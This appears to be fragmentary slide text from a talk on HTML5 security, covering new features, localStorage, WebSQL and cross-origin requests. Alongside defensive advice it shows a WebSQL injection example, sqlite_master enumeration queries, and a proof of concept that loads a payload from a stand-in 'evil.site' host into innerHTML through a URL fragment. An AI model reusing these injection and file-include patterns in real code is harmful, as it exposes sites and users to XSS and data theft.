1866 HTML 3.2——1996.1.14 W3C Recommended Standard HTML 4.0——1997.12.18 W3C Recommended Standard HTML 4.01——1999.12.24 W3C Recommended Standard XHTML——2000.1.20 W3C Recommended Standard HTML5——2008 First Draft Standard 2012 W3C Candidate Recommendation
Code Stealing from the storage Injecting and Exploiting WebSQL ClickJacking &&CookieJacking Cross Origin Request and postMessage Client‐side File Includes Botnet and widgets
tags: autocomplete, autofocus, pattern(yes,regex) for input New media events New <canvas> tag for 2D rendering New form controls for date and time Geolocation New selectors Client-side storage including localStorage, sessionStorage, and WebSQL Out: Presentation elements such a <font>, <center> Presentation attributes including align, border <frame>,<frameset> <applet> Old special effects: <marquee>,<bgsound> <noscript>
history.pushState() ▪ history.pushState(state object,title,URL); history.replaceState() ▪ The same with pushState,but modifies the current history entry.
application(last when the browser closed) Differences Cookies:4k LocalStorage/ SessionStorage:depends on browser(usually 5MB) Support Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera 10.50
Storage your xss shellcode Unlimit the path Defense Don’t store sensitive data in local storage Don't use local storage for session identifiers Stick with cookies and use the HTTPOnly and Secure flags
sqlite_master WHERE type='table' ▪ SELECT sql FROM sqlite_master WHERE name='table_name' ▪ SELECT sqlite_version() Select with ? ▪ executeSql("SELECT name FROM stud WHERE id=" + input_id); False ▪ executeSql("SELECT name FROM stud WHERE id=?", [input_id]); True
to Same Origin Policy ▪ Site A cannot make XMLHttpRequests to Site B ▪ HTML5 makes it possible to make these cross domain calls ▪ Site ASite B(Response must include a header) ▪ Access-Control-Allow-Origin: Site A Must ▪ Access-Control-Allow-Credentials: true | false ▪ Access-Control-Expose-Headers: ▪ etc
x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html> POC Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div> New type of XSS!!